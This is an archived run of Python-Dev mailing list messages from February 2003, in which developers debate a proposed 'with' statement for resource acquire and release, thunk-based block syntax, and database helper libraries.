References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]>
Message-ID: <3E3E4BE7.7000303@tismer.com>

Dan Sugalski wrote:
...

> If you want to bet, I'll put up $10 and a round of beer (or other 
> beverage of your choice) at OSCON 2004 for all the python labs & zope 
> folks that says parrot beats the current python interpreter when running 
> all the python benchmark suite programs (that don't depend on extensions 
> written in C, since we're shooting for pure engine performance) from 
> bytecode. Game?

Do you mean the current Python interpreter of 2004?
That could be quite a different beast...

ciao - chris



From pedronis@bluewin.ch  Mon Feb  3 11:24:09 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 3 Feb 2003 12:24:09 +0100
Subject: [Python-Dev] PEP 42:  sizeof(obj) builtin
References: <LNBBLJKPBEHFEDALKOLCGEOHDLAB.tim.one@comcast.net> <3E3E335B.9060708@lemburg.com>
Message-ID: <002701c2cb76$c564eb20$6d94fea9@newmexico>

From: "M.-A. Lemburg" <mal@lemburg.com>
> Doesn't Java have some API which can be used to estimate the
> memory usage of an object ?
> 

nope


From mwh@python.net  Mon Feb  3 11:44:44 2003
From: mwh@python.net (Michael Hudson)
Date: Mon, 03 Feb 2003 11:44:44 +0000
Subject: [Python-Dev] python-dev Summary for 2003-01-16 through
 2003-01-31
In-Reply-To: <3E3CAE08.2080600@tismer.com> (Christian Tismer's message of
 "Sun, 02 Feb 2003 06:35:04 +0100")
References: <Pine.SOL.4.53.0302011503540.2313@death.OCF.Berkeley.EDU>
 <3E3CAE08.2080600@tismer.com>
Message-ID: <2md6m9r3kj.fsf@starship.python.net>

Christian Tismer <tismer@tismer.com> writes:

> Brett Cannon wrote:
>> Well, my brain didn't pop from the extended syntax thread, so I am happy.
>> =)  Why did you guys have to have such a major discussion at the end of
>> the month (and have an explosion of big emails right at the end no less!)?
>> And of course I decide to try to introduce something new in this summary
>> that upped my workload.  Lucky me.  =)  OK, enough complaining (oh wait, I
>> don't get paid for this; I guess I can complain  =).
>
> Please, complain more. If you were employed, you
> should ask for compensation for pain and suffering.
>
> I have not followed this thread (happy me + unlucky me.)
> And I don't intend to write a summary (lucky me.)
>
> After trying to follow it partially and failing
> completely, I'm asking if there is an alternate
> way of discussing such matters?

I do hope that at least a few PEPs should appear out of the current
mailstorm.  Hmm, I should probably write one of them...

I'm kind of assuming that things will settle down and there will be a
chance for a collective drawing of breath and oppourtunity to reflect
on the ideas of the last few days.  But I don't think you can force
the rhythm of these things, and posting gripes about it is at best
counter-productive.

> There is no way of reading this thread for me.
> I cannot get it into any shape, since I haven't
> followed it online. This will be a similar
> problem for anybody who tries to read it after
> the fact, like me (with similar incapabilities).

I don't understand.  It's a huge, sprawling thread but I don't see
what's *so* hard about following it.  If you don't have time, don't
bother: read the summaries and the PEPs.

> worst-python-dev-experience-I-ever-had -- chris

But you were on types-sig in December '99?  That was worse and almost
exactly nothing ever came of it.

Cheers,
M.

-- 
  Imagine if every Thursday your shoes exploded if you tied them
  the usual way.  This happens to us all the time with computers,
  and nobody thinks of complaining.                     -- Jeff Raskin


From Paul.Moore@atosorigin.com  Mon Feb  3 11:44:49 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 11:44:49 -0000
Subject: [Python-Dev] Extended Function syntax (PEP time)
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199CA@UKDCX001.uk.int.atosorigin.com>

From: M.-A. Lemburg [mailto:mal@lemburg.com]
> Given the length of this thread, could someone please distill
> this into one or more PEPs ?!

I'm willing to make a stab at a PEP on the "with" syntax. I can't
offer any implementation effort, sorry. I'll hash something up
over the next few days.

I'd suggest someone write a PEP on the def ... [expr] syntax, too.
I don't want to end up juggling 2 PEPs, so I'd rather someone else
did this.

I can't see enough clarity in the various versions of the thunk
proposals to make a decent PEP yet. But I'd love someone to prove
me wrong :-) [AFAICT, the thunk discussions are still in flux in
both syntax and semantics, to there's little definite to write
down].

I don't think there are any other concrete offerings on the table.

Paul.


From walter@livinglogic.de  Mon Feb  3 11:47:28 2003
From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Mon, 03 Feb 2003 12:47:28 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function
 syntax)
In-Reply-To: <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
Message-ID: <3E3E56D0.7000200@livinglogic.de>

Paul Moore wrote:

> Guido van Rossum <guido@python.org> writes:
> 
> 
>>I'm now wondering if there aren't really only two interesting cases,
>>none of which require saving the thunk and calling it later:
>>
>>- synchronized-like, where the block should connect to its environment
>>
>>- property-like, where the block should introduce a new scope, and the
>>  caller should be able to inspect or control that scope's namespace
> 
> 
> I certainly haven't seen any use cases other than these two. In fact,
> pretty much all of the cases I am aware of are synchronised-like,
> which I've been referring to as acquire/release. The only
> property-like cases I'm aware of are properties themselves.

A use case I can think of is some kind of XML DOM API (Ruby does
something like that with it's cgi module, where node content is
created inside a block).

With the current Python you can have something like that:

    node = html.table(
       html.tr(
          html.th("foo"),
          html.td("bar")
       ),
       html.tr(
          html.th("spam"),
          html.td("eggs")
       ),
       border=0,
       cellpadding=3
    )

i.e. element classes that use * and ** arguments in their constructor
to collect content and attribute nodes.

The problem with this approach is, that the attributes are maximally
separated from their element and that control structures (like if) are 
not possible inside the constructor.

With blocks ifs and fors could look like this:

    node = html.table(border=0, cellpadding=0):
       html.tr():
          html.th(): "foo"
          html.td(): "bar"
       if cond:
          html.tr():
             html.th(): "spam"
             html.td(): "eggs"
       for i in xrange(10):
          html.tr():
             html.th(): i
             html.td(): i*i

Bye,
    Walter Dörwald



From bh@intevation.de  Mon Feb  3 11:50:20 2003
From: bh@intevation.de (Bernhard Herzog)
Date: 03 Feb 2003 12:50:20 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200302022035.03264.aleax@aleax.it>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <002301c2cad4$714acc00$6d94fea9@newmexico>
 <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico>
 <200302022035.03264.aleax@aleax.it>
Message-ID: <6qel6ppoqr.fsf@salmakis.intevation.de>

Alex Martelli <aleax@aleax.it> writes:

> be helpful too?  Meaning to use local variable <identifier> in lieu of
> the abstract _x -- for example in order to enable:
> 
> with myfile = auto_closing_file('blah.txt', 'rb'):
>     xx = myfile.read(23)
>    # rest of suite snipped
> 
> where auto_closing_file is a subclass of file defining useful __enter__
> (empty -- might be nice to have it optional...) and __exit__ = close
> synonyms (or file itself might grow __exit__ as a synonym for close).
> 
> How would I do this elegantly without the assignment...?

Just as you do with if:

myfile = auto_closing_file('blah.txt', 'rb')
with myfile:
    xx = myfile.read(23)
    # rest of suite snipped

Maybe not quite as elegant as allowing assignment in with but very
similar to the normal try...final version:

myfile = auto_closing_file('blah.txt', 'rb')
try:
    xx = myfile.read(23)
    # rest of suite snipped
finally:
    myfile.close()


   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From bh@intevation.de  Mon Feb  3 11:52:17 2003
From: bh@intevation.de (Bernhard Herzog)
Date: 03 Feb 2003 12:52:17 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
In-Reply-To: <200302022301.32708.aleax@aleax.it>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>
 <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
 <200302022301.32708.aleax@aleax.it>
Message-ID: <6qbs1tponi.fsf@salmakis.intevation.de>

Alex Martelli <aleax@aleax.it> writes:

> > the exception should be propogated. The problem is that I'm not sure
> > what is the best way for an __except__ method to signal that it caught
> > the exception.
> 
> Maybe the return value of __except__ should be evaluated in a boolean
> context encoding this?  False -> exception not caught, True -> caught ...  

__except__ could just reraise the exception if it doesn't handle it.
This behavior would be similar to that of a normal except clause.

   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From Paul.Moore@atosorigin.com  Mon Feb  3 11:54:41 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 11:54:41 -0000
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Functionsyntax)
Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8BB@UKDCX001.uk.int.atosorigin.com>

From: Walter D=F6rwald [mailto:walter@livinglogic.de]
> A use case I can think of is some kind of XML DOM API (Ruby
> does something like that with it's cgi module, where node
> content is created inside a block).
[...]

OK, I see this. I don't personally have much of a need for it,
but that's beside the point. The proposed with syntax isn't
going to cover this (obviously), so I'd suggest that the
discussion on thunks concentrate on how they might handle the
two cases of properties and this XML use.

At least, that's what I'd like to see in order to get a better
idea of how the thunk discussion is heading :-)

Paul.


From bh@intevation.de  Mon Feb  3 11:58:12 2003
From: bh@intevation.de (Bernhard Herzog)
Date: 03 Feb 2003 12:58:12 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
In-Reply-To: <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
 <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
 <059501c2ca31$d6581420$6d94fea9@newmexico>
 <065d01c2ca3b$185ca080$6d94fea9@newmexico>
 <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net>
 <002301c2cad4$714acc00$6d94fea9@newmexico>
 <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>
 <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
Message-ID: <6q7kchpodn.fsf@salmakis.intevation.de>

Paul Moore <lists@morpheus.demon.co.uk> writes:

> So, to offer a unified proposal, I'd suggest the following syntax:
> 
> with [ var1 [, var2, ... ] = ] expr1 [, expr2 , ... ]:
>     suite
> 
> This is equivalent to
> 
> var1, var2, ... = expr1, expr2, ...
> 
> if hasattr(var1, "__enter__"):
>     var1.__enter__()
> if hasattr(var2, "__enter__"):
>     var2.__enter__()
> ...
> 
> try:
>     try:
>         suite
> 
>     except:
>         # Handwave here for now
> 
> finally:
>     ...
>     var2.__exit__()
>     var1.__exit__()

IMO if you want multiple controllers for a with statement you should
just nest the withs:

with var1 = expr1:
    with var2 = expr2:
        suite

This makes the order in which the methods of the varN will be called
obvious.

> In this, any varN can be omitted and a dummy hidden variable is
> used. 

Meaning something like

with var1, , var3 = expr1, expr2, expr3:
    suite

I guess. Urgs. You can't normally omit assignment targets on the left
hand side of a sequence unpacking in python. I don't see why this should
be allowed for with. Nested withs handle this in a cleaner way as well,
IMO.

   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From pedronis@bluewin.ch  Mon Feb  3 12:05:09 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 3 Feb 2003 13:05:09 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz> <200302030202.h1322qg15913@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <005e01c2cb7c$7fee44a0$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> > > with myfile = auto_closing_file('blah.txt', 'rb'):
> > >   for line in myfile:
> > >    ...
> > >
> > > With Guido's 'do', you could define an iterclose():
> > >
> > > do iterclose(open('blah.txt','rb')): (line):
> > >    ...
> > >
> > > Btw, the two snippets illustrate quite well the different
> > > evolutive directions' on the table.
> >
> > I must say that, for this particular usage at least, I find
> > the first one a darn sight easier to follow than the second!
>
> I think 'do' is being misrepresented,

OK, to be even more fair, obviously do can be used to implement with

class with:
  def __init__(self,wobj):
    self.wobj = wobj

  def __call__(self,thunk):
     if hasattr(wobj,'__enter__'):
       wobj.__enter__()
     try:
      thunk(wobj)
     finally:
      wobj.__exit__()

do with(auto_closing_file('blah.txt', 'rb')): (myfile): # bad that is not
meaningful: do myfile=with(...):
  for line in myfile:
   ...

FURTHER 'do' is more expressive than generators because it allows to capture
and abstract 'try' patterns very generally, more than 'with'.

>and I also doubt that this is a
> very practical example.

Yes and no. What would be typical is people abstracting over recurrent pattern
of 'for' and 'try' in their program and stuff them in a 'do' behavior, I'm
inferring this from what people do with CL macros. So if one does what
iterclose does a bunch of times in program, she could be tempted to write
iterclose. It's succinctness daemon. General mileage can vary.

> But I may have to wait until the next weekend
> before I can continue in this thread -- I can't work on this on
> workdays.

OK



From pedronis@bluewin.ch  Mon Feb  3 12:09:05 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 3 Feb 2003 13:09:05 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz><200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net><20030201173108.0F9AD2223@bespin.org><200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net><049701c2ca2a$89d0e0c0$6d94fea9@newmexico><200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net><059501c2ca31$d6581420$6d94fea9@newmexico><065d01c2ca3b$185ca080$6d94fea9@newmexico><200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net><002301c2cad4$714acc00$6d94fea9@newmexico><200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net><n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk> <6q7kchpodn.fsf@salmakis.intevation.de>
Message-ID: <007401c2cb7d$0c58ec60$6d94fea9@newmexico>

From: "Bernhard Herzog" <bh@intevation.de>
> I guess. Urgs. You can't normally omit assignment targets on the left
> hand side of a sequence unpacking in python. I don't see why this should
> be allowed for with. Nested withs handle this in a cleaner way as well,
> IMO.
> 

I agree one 'with', [at most] one var is better.


From mwh@python.net  Mon Feb  3 12:12:01 2003
From: mwh@python.net (Michael Hudson)
Date: Mon, 03 Feb 2003 12:12:01 +0000
Subject: [Python-Dev] Acquire/release functionality
In-Reply-To: <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk> (Paul Moore's
 message of "Sun, 02 Feb 2003 21:49:31 +0000")
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
 <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
 <059501c2ca31$d6581420$6d94fea9@newmexico>
 <065d01c2ca3b$185ca080$6d94fea9@newmexico>
 <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net>
 <002301c2cad4$714acc00$6d94fea9@newmexico>
 <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>
 <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
Message-ID: <2madhdr2b2.fsf@starship.python.net>

Paul Moore <lists@morpheus.demon.co.uk> writes:

> As far as the acquire/release case is concerned, I think that there is
> definitely a strong case for syntactic support for this. The
> equivalent idiom in C++ is "resource acquisition is initialisation"
> which, while not having syntax support, does rely on the existence of
> deterministic destructors, and on the ability to introduce a new scope
> at will. Python has neither of these, and the try...finally construct
> is verbose enough to make something better worth having.

I like this.

> On the other hand, the simple "with" construct proposed by Samuele
>
>> with <expr>:
>>  <suite>
>>
>> would be possibly sugar for:
>
> [...]
>
>> _x = <expr>
>> _x.__enter__()
>> try:
>>   try:
>>    <suite>
>>   except  getattr(_x,'__excepts__',()),_e:
>>     _x.__except__(_e)
>> finally:
>>   _x.__exit__()
>
> extended as suggested by Alex to allow __enter__ to be optional and to
> allow for an assignment in the with statement, seems to cover this
> excellently.

Making the methods optional seems reasonable but writing do-nothing
methods isn't much of a strain.  I don't care either way.

> (I'm not sure the exception handling needs to be quite
> that complex, but that's a minor point).

I'm not at all sure.  In fact, on thinking about it I feel it may be a
bad idea.  Examples of when __except__ might be different from
__exit__ would be appreciated.

[....]
> So, to offer a unified proposal, I'd suggest the following syntax:
>
> with [ var1 [, var2, ... ] = ] expr1 [, expr2 , ... ]:
>     suite
> 
> This is equivalent to
>
> var1, var2, ... = expr1, expr2, ...
>
> if hasattr(var1, "__enter__"):
>     var1.__enter__()
> if hasattr(var2, "__enter__"):
>     var2.__enter__()
> ...
>
> try:
>     try:
>         suite
>
>     except:
>         # Handwave here for now
>
> finally:
>     ...
>     var2.__exit__()
>     var1.__exit__()

I think this might be unnecessarily hard to compile.

class multimonitor(object):
    def __init__(self, monitors):
        self.monitors = monitors
    def __enter__(self):
        for monitor in self.monitors:
            monitor.__enter__()
    def __exit__(self):
        for monitor in self.monitors:
            monitor.__exit__()

It should probably be stated that an __exit__ method should never
raise an exception.

> In this, any varN can be omitted and a dummy hidden variable is
> used. 

Persuading the parser to distinguish 

with foo():

and 

with var = foo():

is going to be tricky.  I think we'll have to settle for one or the
other.

> The handwaving around the except clause needs to be clarified - what
> I want is to call varN.__except__() ... var1.__except__() allowing
> each in turn to catch the exception.

This sort of problem is an argument for throwing away the except:
clause.

> The __except__ attribute should be optional, as well. I can't see any
> reason why it would ever be useful for __exit__ to be optional, but
> for generality it might be worth allowing that as well.

Hmm.  Maybe.  Not fond of generality for the sake of it.

> I like "with" as the keyword here. One obvious question - if we decide
> to go with syntax like this, would we be looking at "pre-reserving"
> the keyword in Python 2.3 somehow, so that it could become a full
> keyword in 2.4? Or would the new syntax need a future statement in
> Python 2.4, to become finalised in 2.5?

I think nothing should change in 2.3.

> PS Just to summarise things once more: as I see it, we now have a
>    number of threads lurking:
>
>    - The def f(arg) [...] syntax that started all this off
>    - With blocks (which give us acquire/release) for which I propose a
>      unified solution above

I'll write PEPs for these two in due course if noone beats me to it.

>    - Properties, which don't have a specific solution proposed yet
>      (AFAICT)
>    - Thunks in various forms, most notably Guido's hyper-general
>      version (the one that lets us implement switch)
>
>    It's not at all clear to me that the thunk based solutions have
>    killer use cases that they solve better than anything else
>    (assuming that switch doesn't count :-)) but they may be aiming at
>    the property case. If so, I'd appreciate a concrete "this is how
>    we'd write a property" explanation, as I'm losing the plot on
>    that... 

Me too.  Guido can do this PEP :-)

[...]
>    I'll stop now before I feel a need to summarise the summary of my
>    summary :-)

OK, I cheated with the sig :-)

Cheers,
M.

-- 
  To summarise the summary of the summary:- people are a problem.
                   -- The Hitch-Hikers Guide to the Galaxy, Episode 12


From lkcl@samba-tng.org  Mon Feb  3 12:21:32 2003
From: lkcl@samba-tng.org (Luke Kenneth Casson Leighton)
Date: Mon, 3 Feb 2003 12:21:32 +0000
Subject: [DB-SIG] Re: [Python-Dev] database APIs
In-Reply-To: <1044217837.11685.17.camel@lothlorien>
References: <Pine.LNX.4.44.0302021015460.30571-100000@penguin.theopalgroup.com> <1044217837.11685.17.camel@lothlorien>
Message-ID: <20030203122132.GO912@localhost>

On Sun, Feb 02, 2003 at 02:30:37PM -0600, Ian Bicking wrote:

> On Sun, 2003-02-02 at 09:51, Kevin Jacobs wrote: 
> > > also for some of the background please see the advogato article
> > > http://advogato.org/article/600.html particularly the link to
> > > jmg's code which contains some very simple to use but obscure 
> > > coding methods to wrap SQL databases in objects.
> > 
> > We (my company) and many others have their own SQL generation and OR mapping
> > implementations that are considerably more advanced.  Some (like mine) are
> > in the process of transitioning to an open source development model, while
> > some are already freely available (see http://colorstudy.com/software/SQLObject
> > for one released just last week).  So maybe it is time for all of us to get 
> > together and put the Open Source "bazaar" to the test and see what comes out.
> 
> There is a list of a number of such interfaces here:
> http://www.python.org/cgi-bin/moinmoin/HigherLevelDatabaseProgramming
> 
> If there's any missing I hope someone will extend them.  Currently
> listed are:
> 
> DbObj
> db_row
> ll.sql
> PgResultSet
> MiddleKit
> Object Relational Membrame
> PyDo
> SQLBuilder
> SQLDict
> SQLObject
> 
> In various forms these address exactly what Luke was proposing.

GREAT!

example, the next application is a replacement for an extremely
poorly written php app.

it contains classes (base class a db class that does the db connection)

the classes basically take a unique primary key, do a SELECT,
record the row of info in the class instance as variables,
then obviously it's possible to modify any of the variables,
then there's a save() method.

_all_ of this code has been hand-crafted!

madness!

take the SQL file, auto-generate the darn code, for pity's sake.


i've been working some way towards this "ideal" goal.

see http://sf.net/projects/pysqldb.

more later, have a real-world application / customer to keep happy :)

l.



From lkcl@samba-tng.org  Mon Feb  3 12:22:01 2003
From: lkcl@samba-tng.org (Luke Kenneth Casson Leighton)
Date: Mon, 3 Feb 2003 12:22:01 +0000
Subject: [Python-Dev] database APIs
In-Reply-To: <Pine.LNX.4.44.0302021015460.30571-100000@penguin.theopalgroup.com>
References: <20030202142023.GI912@localhost> <Pine.LNX.4.44.0302021015460.30571-100000@penguin.theopalgroup.com>
Message-ID: <20030203122201.GP912@localhost>

On Sun, Feb 02, 2003 at 10:51:14AM -0500, Kevin Jacobs wrote:
> On Sun, 2 Feb 2003, Luke Kenneth Casson Leighton wrote:
> > has anyone considered doing database helper functions based
> > off of the DB 2.0 api?
> 
> Yes; though the conversation is best had on the DB-SIG mailing list.
 
 okay thx! will post there in future.



From pyth@devel.trillke.net  Mon Feb  3 12:24:13 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 13:24:13 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
In-Reply-To: <6qbs1tponi.fsf@salmakis.intevation.de>; from bh@intevation.de on Mon, Feb 03, 2003 at 12:52:17PM +0100
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk> <200302022301.32708.aleax@aleax.it> <6qbs1tponi.fsf@salmakis.intevation.de>
Message-ID: <20030203132413.B10804@prim.han.de>

Bernhard Herzog wrote:
> Alex Martelli <aleax@aleax.it> writes:
> 
> > > the exception should be propogated. The problem is that I'm not sure
> > > what is the best way for an __except__ method to signal that it caught
> > > the exception.
> > 
> > Maybe the return value of __except__ should be evaluated in a boolean
> > context encoding this?  False -> exception not caught, True -> caught ...  
> 
> __except__ could just reraise the exception if it doesn't handle it.
> This behavior would be similar to that of a normal except clause.

exactly!

    holger


From mwh@python.net  Mon Feb  3 12:27:58 2003
From: mwh@python.net (Michael Hudson)
Date: Mon, 03 Feb 2003 12:27:58 +0000
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <6qel6ppoqr.fsf@salmakis.intevation.de> (Bernhard Herzog's
 message of "03 Feb 2003 12:50:20 +0100")
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <002301c2cad4$714acc00$6d94fea9@newmexico>
 <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico>
 <200302022035.03264.aleax@aleax.it>
 <6qel6ppoqr.fsf@salmakis.intevation.de>
Message-ID: <2m1y2pr1kh.fsf@starship.python.net>

Bernhard Herzog <bh@intevation.de> writes:

> Alex Martelli <aleax@aleax.it> writes:
>
>> be helpful too?  Meaning to use local variable <identifier> in lieu of
>> the abstract _x -- for example in order to enable:
>> 
>> with myfile = auto_closing_file('blah.txt', 'rb'):
>>     xx = myfile.read(23)
>>    # rest of suite snipped
>> 
>> where auto_closing_file is a subclass of file defining useful __enter__
>> (empty -- might be nice to have it optional...) and __exit__ = close
>> synonyms (or file itself might grow __exit__ as a synonym for close).
>> 
>> How would I do this elegantly without the assignment...?
>
> Just as you do with if:

Good point.  "with" testlist ':' NEWLINE it is, if it's me that gets
to write the PEP.

Cheers,
M.

-- 
  Or here's an even simpler indicator of how much C++ sucks: Print
  out the C++ Public Review Document.  Have someone  hold it about
  three feet  above your head and then drop it.  Thus  you will be
  enlightened.                                        -- Thant Tessman


From pedronis@bluewin.ch  Mon Feb  3 12:14:49 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 3 Feb 2003 13:14:49 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk> <3E3E56D0.7000200@livinglogic.de>
Message-ID: <009b01c2cb7d$d9401000$6d94fea9@newmexico>

From: "Walter D=F6rwald" <walter@livinglogic.de>
>
> With blocks ifs and fors could look like this:
>
>     node =3D html.table(border=3D0, cellpadding=3D0):
>        html.tr():
>           html.th(): "foo"
>           html.td(): "bar"
>        if cond:
>           html.tr():
>              html.th(): "spam"
>              html.td(): "eggs"
>        for i in xrange(10):
>           html.tr():
>              html.th(): i
>              html.td(): i*i

this assumes that there's a way to evaluate a thunk as an expression or s=
uch
that it has the value of the last expression that appears in it.

Otherwise, you would have to write things using 'value' direct-return:

html.th(): value i

regards.







From pyth@devel.trillke.net  Mon Feb  3 12:27:23 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 13:27:23 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
In-Reply-To: <3E3E56D0.7000200@livinglogic.de>; from walter@livinglogic.de on Mon, Feb 03, 2003 at 12:47:28PM +0100
References: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk> <3E3E56D0.7000200@livinglogic.de>
Message-ID: <20030203132723.C10804@prim.han.de>

Walter D?rwald wrote:
> Paul Moore wrote:
> 
> > Guido van Rossum <guido@python.org> writes:
> > 
> > 
> >>I'm now wondering if there aren't really only two interesting cases,
> >>none of which require saving the thunk and calling it later:
> >>
> >>- synchronized-like, where the block should connect to its environment
> >>
> >>- property-like, where the block should introduce a new scope, and the
> >>  caller should be able to inspect or control that scope's namespace
> > 
> > 
> > I certainly haven't seen any use cases other than these two. In fact,
> > pretty much all of the cases I am aware of are synchronised-like,
> > which I've been referring to as acquire/release. The only
> > property-like cases I'm aware of are properties themselves.
> 
> A use case I can think of is some kind of XML DOM API (Ruby does
> something like that with it's cgi module, where node content is
> created inside a block).
> 
> With the current Python you can have something like that:
> 
>     node = html.table(
>        html.tr(
>           html.th("foo"),
>           html.td("bar")
>        ),
>        html.tr(
>           html.th("spam"),
>           html.td("eggs")
>        ),
>        border=0,
>        cellpadding=3
>     )
> 
> i.e. element classes that use * and ** arguments in their constructor
> to collect content and attribute nodes.
> 
> The problem with this approach is, that the attributes are maximally
> separated from their element and that control structures (like if) are 
> not possible inside the constructor.
> 
> With blocks ifs and fors could look like this:
> 
>     node = html.table(border=0, cellpadding=0):
>        html.tr():
>           html.th(): "foo"
>           html.td(): "bar"
>        if cond:
>           html.tr():
>              html.th(): "spam"
>              html.td(): "eggs"
>        for i in xrange(10):
>           html.tr():
>              html.th(): i
>              html.td(): i*i

you probably missed my other posting where i actually went
one step further and implemented this via <...> syntax. 

Actually i tried *exactly* the syntax you propose here first but
i think it's *hopelessly* ambigous with the Python grammar. 

You simple have no way to know which construct you are in
until you read the ':'.  Until then you could be in a
normal expression.  The 'class', 'def', 'if', 'while' etc.
keywords disambiguate this right at the beginning.

Without a much deeper parser look-ahead this can't 
be done, i am afraid.

    holger


